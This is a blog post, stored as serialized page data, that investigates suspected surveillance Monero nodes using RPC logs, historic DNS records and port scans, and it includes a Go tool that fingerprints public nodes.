",[31,1136,1137],{"href":1137,"rel":1138},"https:\u002F\u002Fweb.archive.org\u002Fweb\u002F20240822030528\u002Fhttps:\u002F\u002Fmoneroworld.com\u002F#nodes",[35],[23,1140,1142],{"id":1141},"the-monero-rpc-logs-shown-in-the-chainalysis-video","The Monero RPC logs shown in the Chainalysis video",[12,1144,1145],{},"To avoid DMCA claims from Chainalysis, we will redraw the tables from the video but keep the same data. There are two transactions shown in the video which have Monero RPC logs associated with them.",[1147,1148,1150],"h3",{"id":1149},"transaction-1-video-timestamp-2902","Transaction 1 (video timestamp: 29:02)",[12,1152,1153],{},[1154,1155,1156],"strong",{},"RPC Request:",[1158,1159,1160,1185],"table",{},[1161,1162,1163],"thead",{},[1164,1165,1166,1170,1173,1176,1179,1182],"tr",{},[1167,1168,1169],"th",{},"Date",[1167,1171,1172],{},"IP Address",[1167,1174,1175],{},"Source",[1167,1177,1178],{},"Request",[1167,1180,1181],{},"Headers",[1167,1183,1184],{},"Body",[1186,1187,1188],"tbody",{},[1164,1189,1190,1194,1197,1200,1203,1206],{},[1191,1192,1193],"td",{},"2020-10-20, 10:19:21.190",[1191,1195,1196],{},"185.220.100.252",[1191,1198,1199],{},"003",[1191,1201,1202],{},"POST \u002Fsendrawtransaction",[1191,1204,1205],{},"node.moneroworld.com, application\u002Fjson; charset=utf-8, CL",[1191,1207,1208],{},"client, tx_as_hex",[1147,1210,1212],{"id":1211},"transaction-2-video-timestamp-3540","Transaction 2 (video timestamp: 35:40)",[12,1214,1215],{},[1154,1216,1156],{},[1158,1218,1219,1235],{},[1161,1220,1221],{},[1164,1222,1223,1225,1227,1229,1231,1233],{},[1167,1224,1169],{},[1167,1226,1172],{},[1167,1228,1175],{},[1167,1230,1178],{},[1167,1232,1181],{},[1167,1234,1184],{},[1186,1236,1237],{},[1164,1238,1239,1242,1245,1248,1250,1252],{},[1191,1240,1241],{},"2020-10-02, 12:15:55.669",[1191,1243,1244],{},"85.248.227.164",[1191,1246,1247],{},"140",[1191,1249,1202],{},[1191,1251,1205],{},[1191,1253,1208],{},[12,1255,1256,1257,1259,1260,1262],{},"Unfortunately the tables don't directly disclose the IP\u002Fhost information of the malicious nodes run by Chainalysis. But by inspecting the ",[276,1258,1181],{}," column, we can see that this request was made to ",[276,1261,1079],{},", which resolved to a malicious node. Chainalysis's application UI omits header names and only displays the values, but we can see that:",[270,1264,1269],{"className":1265,"code":1267,"language":1268},[1266],"language-text","Host: node.moneroworld.com\nContent-Type: application\u002Fjson; charset=utf-8\n...\n","text",[276,1270,1267],{"__ignoreMap":20},[12,1272,1273,1274,1276,1277,1279],{},"Based on the ",[276,1275,1175],{}," column, we can assume that ",[276,1278,1079],{}," had A records pointing to at least two Chainalysis nodes (#003, #140) around 2020.",[12,1281,1282,1283,678],{},"Luckily, the old DNS records have been cached in services like Virustotal. There is a total of 200 A records dating all the way back to 2017-05-14 in ",[31,1284,1287],{"href":1285,"rel":1286},"https:\u002F\u002Fwww.virustotal.com\u002Fgui\u002Fdomain\u002Fnode.moneroworld.com\u002Frelations",[35],"Virustotal",[12,1289,1290],{},[18,1291],{"alt":20,"src":1292},"\u002Fblog\u002Fchainalysis-malicious-xmr\u002Fvirustotal-historic-dns.webp",[23,1294,1296,1297],{"id":1295},"the-curious-case-of-dallasxmrnodecom","The curious case of ",[276,1298,1299],{},"dallas.xmrnode.com",[12,1301,1302,1303,1308,1309,1314,1315,1317,1318,1320],{},"On 2024-09-05, Reddit user ",[31,1304,1307],{"href":1305,"rel":1306},"https:\u002F\u002Fwww.reddit.com\u002Fuser\u002F__lt__\u002F",[35],"u\u002F__lt__"," made a ",[31,1310,1313],{"href":1311,"rel":1312},"https:\u002F\u002Fweb.archive.org\u002Fweb\u002F20240907213249\u002Fhttps:\u002F\u002Fold.reddit.com\u002Fr\u002FMonero\u002Fcomments\u002F1f9h7rw\u002Fxmrnodecom_is_very_sus\u002F",[35],"post"," about the strange behavior they observed from one of the affiliated hosts after investigating ",[276,1316,1079],{},". The host in question is ",[276,1319,1299],{}," (104.223.103.222). A port scan of it reveals that it has Monero node ports open alongside other services:",[12,1322,1323],{},[18,1324],{"alt":20,"src":1325},"\u002Fblog\u002Fchainalysis-malicious-xmr\u002Fdallasxmr-shodan.webp",[12,1327,1328,1329,1332,1333,1338],{},"Nginx on port 443\u002Ftcp serves a self-signed certificate for ",[276,1330,1331],{},"fn.likauction.com",". Searching for this hostname on ",[31,1334,1337],{"href":1335,"rel":1336},"https:\u002F\u002Fwww.shodan.io",[35],"Shodan"," leads to 6 different servers that have the exact same ports open.",[12,1340,1341],{},[18,1342],{"alt":20,"src":1343},"\u002Fblog\u002Fchainalysis-malicious-xmr\u002Ffnlikauction-shodan.webp",[12,1345,1346],{},"However as of writing, probing the Monero node ports on these servers reveals that these ports don't belong to nodes or Monero RPC servers. It could be that the malicious node operators have pulled the plug.",[12,1348,1349],{},[18,1350],{"alt":20,"src":1351},"\u002Fblog\u002Fchainalysis-malicious-xmr\u002Fprobingrpcports.webp",[12,1353,1354,1355,1358,1359,678],{},"On 2024-09-08 the Reddit post by ",[31,1356,1307],{"href":1305,"rel":1357},[35]," was mass reported and removed. It was restored after notifying the moderators on Monero Matrix room. I consider this an example of the ",[31,1360,1363],{"href":1361,"rel":1362},"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FStreisand_effect",[35],"Streisand effect",[23,1365,1367],{"id":1366},"chainalysis-may-be-abusing-dangling-dns-records-of-decomissioned-monero-nodes","Chainalysis may be abusing dangling DNS records of decomissioned Monero nodes",[12,1369,1370,1371,678],{},"I found this comment on Reddit while dorking for ",[276,1372,1373],{},"\"xmrnode.com\"",[12,1375,1376],{},[18,1377],{"alt":20,"src":1378},"\u002Fblog\u002Fchainalysis-malicious-xmr\u002Fxmrnodereddit.webp",[12,1380,1381,1382,1385,1386,678],{},"Since we know that there were at least two different malicious nodes and one of them may have been ",[276,1383,1384],{},"dallas.xmrmode.com",", I decided resolve the subdomains in the Reddit comment and search the IPs in the DNS record history of ",[276,1387,1079],{},[270,1389,1393],{"className":1390,"code":1391,"language":1392,"meta":20,"style":20},"language-txt shiki shiki-themes material-theme-lighter material-theme material-theme-palenight","2017-08-29 - 169.239.128.104 (africa.xmrnode.com)\n2017-09-08 - 96.43.143.242 (kc6.xmrnode.com)\n2017-09-20 - 104.223.103.222 (dallas.xmrmode.com)\n2017-09-22 - 204.27.62.98 (kc3.xmrnode.com)\n2017-10-09 - 213.197.187.236 (europe.xmrnode.com)\n2017-10-09 - 96.43.143.250 (kc7.xmrnode.com)\n2018-04-28 - 103.208.86.41 (nz.xmrnode.com)\n2018-05-03 - 96.43.139.226 (xmrnode.com)\n2018-05-03 - 96.43.139.226 (kc.xmrnode.com)\n","txt",[276,1394,1395,1400,1405,1410,1415,1420,1425,1430,1435],{"__ignoreMap":20},[279,1396,1397],{"class":281,"line":282},[279,1398,1399],{},"2017-08-29 - 169.239.128.104 (africa.xmrnode.com)\n",[279,1401,1402],{"class":281,"line":204},[279,1403,1404],{},"2017-09-08 - 96.43.143.242 (kc6.xmrnode.com)\n",[279,1406,1407],{"class":281,"line":302},[279,1408,1409],{},"2017-09-20 - 104.223.103.222 (dallas.xmrmode.com)\n",[279,1411,1412],{"class":281,"line":364},[279,1413,1414],{},"2017-09-22 - 204.27.62.98 (kc3.xmrnode.com)\n",[279,1416,1417],{"class":281,"line":379},[279,1418,1419],{},"2017-10-09 - 213.197.187.236 (europe.xmrnode.com)\n",[279,1421,1422],{"class":281,"line":384},[279,1423,1424],{},"2017-10-09 - 96.43.143.250 (kc7.xmrnode.com)\n",[279,1426,1427],{"class":281,"line":393},[279,1428,1429],{},"2018-04-28 - 103.208.86.41 (nz.xmrnode.com)\n",[279,1431,1432],{"class":281,"line":408},[279,1433,1434],{},"2018-05-03 - 96.43.139.226 (xmrnode.com)\n",[279,1436,1437],{"class":281,"line":414},[279,1438,1439],{},"2018-05-03 - 96.43.139.226 (kc.xmrnode.com)\n",[12,1441,1442,1443,1445,1446,1449],{},"Turns out ",[276,1444,1079],{}," was pointing to many ",[276,1447,1448],{},"*.xmrnode.com"," nodes.",[12,1451,1452],{},"I contacted rupeee in the #Monero Matrix room to ask about the strange behavior of the nodes and to my surprise this was their answer:",[12,1454,1455],{},[18,1456],{"alt":20,"src":1457},"\u002Fblog\u002Fchainalysis-malicious-xmr\u002Fxmrnodeadminmatrix.webp",[12,1459,1460,1461,678],{},"Apparently the nodes haven't been running since 2018. You can find rest of the conversation ",[31,1462,1465],{"href":1463,"rel":1464},"https:\u002F\u002Fweb.archive.org\u002Fweb\u002F20240908231900\u002Fhttps:\u002F\u002Flibera.monerologs.net\u002Fmonero\u002F20240908",[35],"here",[12,1467,1468],{},[18,1469],{"alt":20,"src":1470},"\u002Fblog\u002Fchainalysis-malicious-xmr\u002Fxmrnodeadminmatrix1.webp",[12,1472,1473,1474,1476],{},"Assuming that rupee is not a bad actor, this means that someone other than rupee has been running the nodes (most likely by going to the same hosting provider and asking to get assigned the same IPs). And up to 2020 these nodes were pointed at by ",[276,1475,1079],{},", hence the Chainalysis table data from those dates.",[12,1478,1479,1480,1482,1483,1485],{},"Chainalysis may have abused the leftover DNS records of rupee's nodes and the A records of ",[276,1481,1079],{}," which were not removed after rupee stopped hosting the nodes. There is nothing stopping Chainalysis from submitting new public nodes to listings such as monero.fail, but ",[276,1484,1079],{}," is a more desirable target because of the reputation of the person running it and the fact that it is one of the defaults for popular mobile wallets.",[23,1487,1489],{"id":1488},"lessons-learned","Lessons learned",[12,1491,1492,1493,1496],{},"Apart from the obvious ",[1154,1494,1495],{},"RUN YOUR OWN NODE",", if you must use a public node use Tor\u002Fi2p and do not use node addresses that aggrate or point to random nodes via DNS records. Because there might be Chainalysis somewhere along the way.",[12,1498,1499],{},[18,1500],{"alt":20,"src":1501},"\u002Fblog\u002Fchainalysis-malicious-xmr\u002Fxmrtwdnschain.webp",[23,1503,1505],{"id":1504},"extra-reverse-proxy-investigation","Extra: Reverse proxy investigation",[12,1507,1508],{},"We speculated that it wouldn’t make much financial sense for malicious actors to operate their own dedicated nodes, given the high resource requirements.",[12,1510,1511],{},"Instead, we considered that these so-called \"fake nodes\" might not be real nodes at all but rather Nginx servers acting as reverse proxies, forwarding traffic to legitimate nodes while capturing a copy of the underlying data.",[12,1513,1514,1515,146,1520,1525],{},"To investigate this, we quickly developed a tool to gather all public Monero nodes listed by ",[31,1516,1519],{"href":1517,"rel":1518},"https:\u002F\u002Fmonero.fail",[35],"monero.fail",[31,1521,1524],{"href":1522,"rel":1523},"https:\u002F\u002Fxmr.ditatompel.com\u002Fremote-nodes",[35],"xmr.ditatompel.com",". The tool analyzes them by attempting to identify unique data they generate across various Monero RPC endpoints.",[270,1527,1531],{"className":1528,"code":1529,"language":1530,"meta":20,"style":20},"language-go shiki shiki-themes material-theme-lighter material-theme material-theme-palenight","\u002F\u002F Copyright 2024 Laurynas Četyrkinas\n\u002F\u002F\n\u002F\u002F Licensed under the Apache License, Version 2.0 (the \"License\");\n\u002F\u002F you may not use this file except in compliance with the License.\n\u002F\u002F You may obtain a copy of the License at\n\u002F\u002F\n\u002F\u002F     http:\u002F\u002Fwww.apache.org\u002Flicenses\u002FLICENSE-2.0\n\u002F\u002F\n\u002F\u002F Unless required by applicable law or agreed to in writing, software\n\u002F\u002F distributed under the License is distributed on an \"AS IS\" BASIS,\n\u002F\u002F WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\u002F\u002F See the License for the specific language governing permissions and\n\u002F\u002F limitations under the License.\n\npackage main\n\nimport (\n    \"context\"\n    \"crypto\u002Ftls\"\n    \"encoding\u002Fjson\"\n    \"fmt\"\n    \"log\"\n    \"net\"\n    \"net\u002Fhttp\"\n    \"net\u002Furl\"\n    \"strings\"\n    \"sync\"\n    \"time\"\n)\n\ntype MoneroFailNodes struct {\n    Monero struct {\n        Clear         []string `json:\"clear\"`\n        WebCompatible []string `json:\"web_compatible\"`\n    } `json:\"monero\"`\n}\n\ntype XmrDitatompelNodes struct {\n    Data struct {\n        Items []struct {\n            Hostname    string `json:\"hostname\"`\n            Port        int    `json:\"port\"`\n            Protocol    string `json:\"protocol\"`\n            IsTor       bool   `json:\"is_tor\"`\n            IsAvailable bool   `json:\"is_available\"`\n            NetType     string `json:\"nettype\"`\n        } `json:\"items\"`\n    } `json:\"data\"`\n}\n\ntype MoneroNode struct {\n    IP map[string]NodeIdentifyInfo `json:\"ip\"`\n}\n\ntype NodeIdentifyInfo struct {\n    NodeGetInfoResponse            NodeGetInfoResponse            `json:\"get_info\"`\n    NodeGetLimitResponse           NodeGetLimitResponse           `json:\"get_limit\"`\n    NodeGetAltBlocksHashesResponse NodeGetAltBlocksHashesResponse `json:\"get_alt_blocks_hashes\"`\n}\n\ntype NodeGetInfoResponse struct {\n    AdjustedTime              int64  `json:\"adjusted_time\"`\n    AltBlocksCount            int64  `json:\"alt_blocks_count\"`\n    BlockSizeLimit            int64  `json:\"block_size_limit\"`\n    BlockSizeMedian           int64  `json:\"block_size_median\"`\n    BlockWeightLimit          int64  `json:\"block_weight_limit\"`\n    BlockWeightMedian         int64  `json:\"block_weight_median\"`\n    BootstrapDaemonAddress    string `json:\"bootstrap_daemon_address\"`\n    BusySyncing               bool   `json:\"busy_syncing\"`\n    Credits                   int64  `json:\"credits\"`\n    CumulativeDifficulty      int64  `json:\"cumulative_difficulty\"`\n    CumulativeDifficultyTop64 int64  `json:\"cumulative_difficulty_top64\"`\n    DatabaseSize              int64  `json:\"database_size\"`\n    Difficulty                int64  `json:\"difficulty\"`\n    DifficultyTop64           int64  `json:\"difficulty_top64\"`\n    FreeSpace                 uint64 `json:\"free_space\"`\n    GreyPeerlistSize          int64  `json:\"grey_peerlist_size\"`\n    Height                    int64  `json:\"height\"`\n    HeightWithoutBootstrap    int64  `json:\"height_without_bootstrap\"`\n    IncomingConnectionsCount  int64  `json:\"incoming_connections_count\"`\n    Mainnet                   bool   `json:\"mainnet\"`\n    Nettype                   string `json:\"nettype\"`\n    Offline                   bool   `json:\"offline\"`\n    OutgoingConnectionsCount  int64  `json:\"outgoing_connections_count\"`\n    Restricted                bool   `json:\"restricted\"`\n    RPCConnectionsCount       int64  `json:\"rpc_connections_count\"`\n    Stagenet                  bool   `json:\"stagenet\"`\n    StartTime                 int64  `json:\"start_time\"`\n    Status                    string `json:\"status\"`\n    Synchronized              bool   `json:\"synchronized\"`\n    Target                    int64  `json:\"target\"`\n    TargetHeight              int64  `json:\"target_height\"`\n    Testnet                   bool   `json:\"testnet\"`\n    TopBlockHash              string `json:\"top_block_hash\"`\n    TopHash                   string `json:\"top_hash\"`\n    TxCount                   int64  `json:\"tx_count\"`\n    TxPoolSize                int64  `json:\"tx_pool_size\"`\n    Untrusted                 bool   `json:\"untrusted\"`\n    UpdateAvailable           bool   `json:\"update_available\"`\n    Version                   string `json:\"version\"`\n    WasBootstrapEverUsed      bool   `json:\"was_bootstrap_ever_used\"`\n    WhitePeerlistSize         int64  `json:\"white_peerlist_size\"`\n    WideCumulativeDifficulty  string `json:\"wide_cumulative_difficulty\"`\n    WideDifficulty            string `json:\"wide_difficulty\"`\n}\n\ntype NodeGetLimitResponse struct {\n    LimitDown int64  `json:\"limit_down\"`\n    LimitUp   int64  `json:\"limit_up\"`\n    Status    string `json:\"status\"`\n    Untrusted bool   `json:\"untrusted\"`\n}\n\ntype NodeGetAltBlocksHashesResponse struct {\n    BlksHashes []string `json:\"blks_hashes\"`\n    Credits    int      `json:\"credits\"`\n    Status     string   `json:\"status\"`\n    TopHash    string   `json:\"top_hash\"`\n    Untrusted  bool     `json:\"untrusted\"`\n}\n\nfunc main() {\n    var nodes []string\n    err := fetchMoneroFailNodes(&nodes)\n    if err != nil {\n        log.Println(\"Error fetching nodes:\", err)\n        return\n    }\n    err = fetchXmrDitatompelNodes(&nodes)\n    if err != nil {\n        log.Println(\"Error fetching nodes:\", err)\n        return\n    }\n    moneroNodes := make(map[string]MoneroNode)\n    var wg1, wg2 sync.WaitGroup\n    var mu sync.Mutex\n    for _, host := range nodes {\n        wg1.Add(1)\n        go func(host string) {\n            defer wg1.Done()\n            var node MoneroNode\n            node.IP = make(map[string]NodeIdentifyInfo)\n            pUrl, err := url.Parse(host)\n            if err != nil {\n                return\n            }\n            ipAddresses, err := net.LookupIP(pUrl.Hostname())\n            if err != nil {\n                return\n            }\n            for _, ip := range ipAddresses {\n                ipStr := ip.String()\n                wg2.Add(1)\n                go func(ip, host string) {\n                    defer wg2.Done()\n                    nodeInfo, err := identifyMoneroNode(ip, host)\n                    if err != nil {\n                        log.Println(\"Failed to getMoneroNodeInfo for:\", host, ip, err)\n                        return\n                    }\n                    mu.Lock()\n                    node.IP[ip] = nodeInfo\n                    moneroNodes[host] = node\n                    mu.Unlock()\n\n                }(ipStr, host)\n            }\n            wg2.Wait()\n        }(host)\n    }\n    wg1.Wait()\n\n    uniqueNodes := make(map[string][]string)\n    for host, node := range moneroNodes {\n        for ip, info := range node.IP {\n            rdns := \"nil\"\n            rdnsa, err := net.LookupAddr(ip)\n            if err == nil {\n                rdns = rdnsa[0]\n            }\n            outJSON, err := json.Marshal(info)\n            strJSON := string(outJSON)\n            uniqueNodes[strJSON] = append(uniqueNodes[strJSON], ip+\" \"+rdns+\" \"+host)\n        }\n    }\n\n    group := 1\n    for _, ips := range uniqueNodes {\n        fmt.Println(\"Host group\", group)\n        for _, ip := range ips {\n            fmt.Println(ip)\n        }\n        group++\n        fmt.Println()\n    }\n\n}\n\nfunc fetchMoneroFailNodes(nodes *[]string) error {\n    resp, err := http.Get(\"https:\u002F\u002Fmonero.fail\u002Fnodes.json\")\n    if err != nil {\n        return err\n    }\n    defer resp.Body.Close()\n    var resNodes MoneroFailNodes\n    err = json.NewDecoder(resp.Body).Decode(&resNodes)\n    if err != nil {\n        return err\n    }\n    for _, host := range resNodes.Monero.Clear {\n        url, err := normalizeURL(host)\n        if err != nil {\n            continue\n        }\n        \u002F\u002F Get rid of i2p\n        if strings.Contains(url, \".i2p\") {\n            continue\n        }\n        addUnique(nodes, url)\n    }\n    return err\n}\n\nfunc fetchXmrDitatompelNodes(nodes *[]string) error {\n    resp, err := http.Get(\"https:\u002F\u002Fxmr.ditatompel.com\u002Fapi\u002Fv1\u002Fnodes?page=1&limit=1000\")\n    if err != nil {\n        return err\n    }\n    defer resp.Body.Close()\n    var resNodes XmrDitatompelNodes\n    err = json.NewDecoder(resp.Body).Decode(&resNodes)\n    if err != nil {\n        return err\n    }\n    for _, item := range resNodes.Data.Items {\n        if !item.IsAvailable || item.IsTor || item.NetType != \"mainnet\" {\n            continue\n        }\n        u1 := url.URL{\n            Scheme: item.Protocol,\n            Host:   fmt.Sprintf(\"%s:%s\", item.Hostname, item.Port),\n        }\n        u, err := normalizeURL(u1.String())\n        if err != nil {\n            continue\n        }\n        addUnique(nodes, u)\n    }\n    return err\n}\n\nfunc normalizeURL(rawURL string) (string, error) {\n    parsedURL, err := url.Parse(rawURL)\n    if err != nil {\n        return \"\", err\n    }\n    if parsedURL.Scheme == \"http\" && parsedURL.Port() == \"80\" {\n        parsedURL.Host = strings.TrimSuffix(parsedURL.Host, \":80\")\n    }\n    if parsedURL.Scheme == \"https\" && parsedURL.Port() == \"443\" {\n        parsedURL.Host = strings.TrimSuffix(parsedURL.Host, \":443\")\n    }\n    return parsedURL.String(), nil\n}\n\nfunc addUnique(slice *[]string, item string) {\n    uniqueMap := make(map[string]struct{})\n    for _, v := range *slice {\n        uniqueMap[v] = struct{}{}\n    }\n    if _, exists := uniqueMap[item]; !exists {\n        *slice = append(*slice, item)\n    }\n}\n\nfunc identifyMoneroNode(ip, host string) (NodeIdentifyInfo, error) {\n    client := &http.Client{\n        Transport: &http.Transport{\n            DialContext: func(c context.Context, n, a string) (net.Conn, error) {\n                _, port, err := net.SplitHostPort(a)\n                if err != nil {\n                    return nil, err\n                }\n                return net.Dial(n, net.JoinHostPort(ip, port))\n            },\n            TLSClientConfig: &tls.Config{\n                InsecureSkipVerify: true,\n            },\n        },\n        Timeout: 5 * time.Second,\n    }\n    req, err := http.NewRequest(\"GET\", host+\"\u002Fget_info\", nil)\n    if err != nil {\n        return NodeIdentifyInfo{}, err\n    }\n    req.Host = host\n    resp, err := client.Do(req)\n    if err != nil {\n        return NodeIdentifyInfo{}, err\n    }\n    defer resp.Body.Close()\n    if resp.StatusCode != http.StatusOK {\n        return NodeIdentifyInfo{}, fmt.Errorf(\"Non-OK HTTP status:\", resp.Status)\n    }\n    var getInfo NodeGetInfoResponse\n    err = json.NewDecoder(resp.Body).Decode(&getInfo)\n\n    req, err = http.NewRequest(\"GET\", host+\"\u002Fget_limit\", nil)\n    if err != nil {\n        return NodeIdentifyInfo{}, err\n    }\n    req.Host = host\n    resp, err = client.Do(req)\n    if err != nil {\n        return NodeIdentifyInfo{}, err\n    }\n    defer resp.Body.Close()\n    if resp.StatusCode != http.StatusOK {\n        return NodeIdentifyInfo{}, fmt.Errorf(\"Non-OK HTTP status:\", resp.Status)\n    }\n    var getLimit NodeGetLimitResponse\n    err = json.NewDecoder(resp.Body).Decode(&getLimit)\n\n    req, err = http.NewRequest(\"GET\", host+\"\u002Fget_alt_blocks_hashes\", nil)\n    if err != nil {\n        return NodeIdentifyInfo{}, err\n    }\n    req.Host = host\n    resp, err = client.Do(req)\n    if err != nil {\n        return NodeIdentifyInfo{}, err\n    }\n    defer resp.Body.Close()\n    if resp.StatusCode != http.StatusOK {\n        return NodeIdentifyInfo{}, fmt.Errorf(\"Non-OK HTTP status:\", resp.Status)\n    }\n    var getAltBlocksHashes NodeGetAltBlocksHashesResponse\n    err = json.NewDecoder(resp.Body).Decode(&getAltBlocksHashes)\n\n    identifyInfo := NodeIdentifyInfo{\n        NodeGetInfoResponse:            getInfo,\n        NodeGetLimitResponse:           getLimit,\n        NodeGetAltBlocksHashesResponse: getAltBlocksHashes,\n    }\n    return identifyInfo, err\n}\n","go",[276,1532,1533,1538,1543,1548,1553,1558,1562,1567,1571,1576,1581,1586,1591,1596,1600,1609,1613,1621,1631,1640,1649,1659,1669,1679,1689,1699,1709,1719,1729,1735,1740,1754,1765,1785,1802,1814,1819,1824,1836,1846,1857,1872,1889,1904,1921,1936,1951,1964,1976,1981,1986,1998,2022,2027,2032,2044,2060,2077,2093,2098,2103,2115,2132,2147,2162,2177,2192,2207,2222,2237,2252,2267,2282,2297,2312,2327,2343,2358,2373,2388,2403,2418,2432,2447,2462,2477,2492,2507,2522,2537,2552,2567,2582,2597,2612,2627,2642,2657,2672,2687,2702,2717,2732,2747,2762,2767,2772,2784,2799,2814,2828,2842,2847,2852,2864,2881,2896,2910,2924,2939,2944,2949,2962,2976,2996,3013,3040,3046,3051,3067,3080,3103,3108,3113,3136,3156,3171,3194,3213,3233,3249,3261,3286,3312,3326,3332,3338,3371,3384,3389,3394,3416,3434,3450,3472,3487,3512,3526,3559,3565,3571,3584,3607,3624,3636,3641,3656,3661,3674,3684,3689,3701,3706,3727,3747,3773,3788,3813,3827,3846,3851,3878,3895,3951,3957,3962,3967,3978,3999,4025,4044,4060,4065,4074,4085,4090,4095,4100,4105,4127,4158,4171,4180,4185,4205,4216,4252,4265,4272,4277,4306,4327,4341,4347,4352,4358,4389,4394,4399,4415,4420,4428,4433,4438,4459,4487,4500,4507,4512,4529,4539,4570,4583,4590,4595,4625,4672,4677,4682,4699,4718,4767,4772,4797,4810,4815,4820,4836,4841,4848,4853,4858,4886,4910,4923,4935,4940,4985,5026,5031,5072,5108,5113,5130,5135,5140,5167,5184,5208,5226,5231,5262,5285,5290,5295,5300,5331,5351,5370,5422,5452,5466,5477,5483,5521,5527,5547,5560,5565,5571,5594,5599,5645,5658,5670,5675,5689,5715,5728,5739,5744,5761,5784,5821,5826,5837,5869,5874,5916,5929,5940,5945,5958,5981,5994,6005,6010,6027,6048,6081,6086,6097,6129,6134,6176,6189,6200,6205,6218,6241,6254,6265,6270,6287,6308,6341,6346,6357,6389,6394,6406,6419,6432,6445,6450,6462],{"__ignoreMap":20},[279,1534,1535],{"class":281,"line":282},[279,1536,1537],{"class":602},"\u002F\u002F Copyright 2024 Laurynas Četyrkinas\n",[279,1539,1540],{"class":281,"line":204},[279,1541,1542],{"class":602},"\u002F\u002F\n",[279,1544,1545],{"class":281,"line":302},[279,1546,1547],{"class":602},"\u002F\u002F Licensed under the Apache License, Version 2.0 (the \"License\");\n",[279,1549,1550],{"class":281,"line":364},[279,1551,1552],{"class":602},"\u002F\u002F you may not use this file except in compliance with the License.\n",[279,1554,1555],{"class":281,"line":379},[279,1556,1557],{"class":602},"\u002F\u002F You may obtain a copy of the License at\n",[279,1559,1560],{"class":281,"line":384},[279,1561,1542],{"class":602},[279,1563,1564],{"class":281,"line":393},[279,1565,1566],{"class":602},"\u002F\u002F     http:\u002F\u002Fwww.apache.org\u002Flicenses\u002FLICENSE-2.0\n",[279,1568,1569],{"class":281,"line":408},[279,1570,1542],{"class":602},[279,1572,1573],{"class":281,"line":414},[279,1574,1575],{"class":602},"\u002F\u002F Unless required by applicable law or agreed to in writing, software\n",[279,1577,1578],{"class":281,"line":437},[279,1579,1580],{"class":602},"\u002F\u002F distributed under the License is distributed on an \"AS IS\" BASIS,\n",[279,1582,1583],{"class":281,"line":447},[279,1584,1585],{"class":602},"\u002F\u002F WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n",[279,1587,1588],{"class":281,"line":456},[279,1589,1590],{"class":602},"\u002F\u002F See the License for the specific language governing permissions and\n",[279,1592,1593],{"class":281,"line":471},[279,1594,1595],{"class":602},"\u002F\u002F limitations under the License.\n",[279,1597,1598],{"class":281,"line":482},[279,1599,628],{"emptyLinePlaceholder":220},[279,1601,1602,1605],{"class":281,"line":497},[279,1603,1604],{"class":285},"package",[279,1606,1608],{"class":1607},"sBMFI"," main\n",[279,1610,1611],{"class":281,"line":512},[279,1612,628],{"emptyLinePlaceholder":220},[279,1614,1615,1618],{"class":281,"line":518},[279,1616,1617],{"class":713},"import",[279,1619,1620],{"class":285}," (\n",[279,1622,1623,1626,1629],{"class":281,"line":528},[279,1624,1625],{"class":285},"    \"",[279,1627,1628],{"class":1607},"context",[279,1630,361],{"class":285},[279,1632,1633,1635,1638],{"class":281,"line":538},[279,1634,1625],{"class":285},[279,1636,1637],{"class":1607},"crypto\u002Ftls",[279,1639,361],{"class":285},[279,1641,1642,1644,1647],{"class":281,"line":548},[279,1643,1625],{"class":285},[279,1645,1646],{"class":1607},"encoding\u002Fjson",[279,1648,361],{"class":285},[279,1650,1652,1654,1657],{"class":281,"line":1651},21,[279,1653,1625],{"class":285},[279,1655,1656],{"class":1607},"fmt",[279,1658,361],{"class":285},[279,1660,1662,1664,1667],{"class":281,"line":1661},22,[279,1663,1625],{"class":285},[279,1665,1666],{"class":1607},"log",[279,1668,361],{"class":285},[279,1670,1672,1674,1677],{"class":281,"line":1671},23,[279,1673,1625],{"class":285},[279,1675,1676],{"class":1607},"net",[279,1678,361],{"class":285},[279,1680,1682,1684,1687],{"class":281,"line":1681},24,[279,1683,1625],{"class":285},[279,1685,1686],{"class":1607},"net\u002Fhttp",[279,1688,361],{"class":285},[279,1690,1692,1694,1697],{"class":281,"line":1691},25,[279,1693,1625],{"class":285},[279,1695,1696],{"class":1607},"net\u002Furl",[279,1698,361],{"class":285},[279,1700,1702,1704,1707],{"class":281,"line":1701},26,[279,1703,1625],{"class":285},[279,1705,1706],{"class":1607},"strings",[279,1708,361],{"class":285},[279,1710,1712,1714,1717],{"class":281,"line":1711},27,[279,1713,1625],{"class":285},[279,1715,1716],{"class":1607},"sync",[279,1718,361],{"class":285},[279,1720,1722,1724,1727],{"class":281,"line":1721},28,[279,1723,1625],{"class":285},[279,1725,1726],{"class":1607},"time",[279,1728,361],{"class":285},[279,1730,1732],{"class":281,"line":1731},29,[279,1733,1734],{"class":285},")\n",[279,1736,1738],{"class":281,"line":1737},30,[279,1739,628],{"emptyLinePlaceholder":220},[279,1741,1743,1746,1749,1752],{"class":281,"line":1742},31,[279,1744,1745],{"class":285},"type",[279,1747,1748],{"class":1607}," MoneroFailNodes",[279,1750,1751],{"class":285}," struct",[279,1753,646],{"class":285},[279,1755,1757,1760,1763],{"class":281,"line":1756},32,[279,1758,1759],{"class":298},"    Monero ",[279,1761,1762],{"class":285},"struct",[279,1764,646],{"class":285},[279,1766,1768,1771,1774,1777,1779,1782],{"class":281,"line":1767},33,[279,1769,1770],{"class":298},"        Clear         ",[279,1772,1773],{"class":285},"[]",[279,1775,1776],{"class":331},"string",[279,1778,660],{"class":285},[279,1780,1781],{"class":341},"json:\"clear\"",[279,1783,1784],{"class":285},"`\n",[279,1786,1788,1791,1793,1795,1797,1800],{"class":281,"line":1787},34,[279,1789,1790],{"class":298},"        WebCompatible ",[279,1792,1773],{"class":285},[279,1794,1776],{"class":331},[279,1796,660],{"class":285},[279,1798,1799],{"class":341},"json:\"web_compatible\"",[279,1801,1784],{"class":285},[279,1803,1805,1807,1809,1812],{"class":281,"line":1804},35,[279,1806,813],{"class":285},[279,1808,660],{"class":285},[279,1810,1811],{"class":341},"json:\"monero\"",[279,1813,1784],{"class":285},[279,1815,1817],{"class":281,"line":1816},36,[279,1818,949],{"class":285},[279,1820,1822],{"class":281,"line":1821},37,[279,1823,628],{"emptyLinePlaceholder":220},[279,1825,1827,1829,1832,1834],{"class":281,"line":1826},38,[279,1828,1745],{"class":285},[279,1830,1831],{"class":1607}," XmrDitatompelNodes",[279,1833,1751],{"class":285},[279,1835,646],{"class":285},[279,1837,1839,1842,1844],{"class":281,"line":1838},39,[279,1840,1841],{"class":298},"    Data 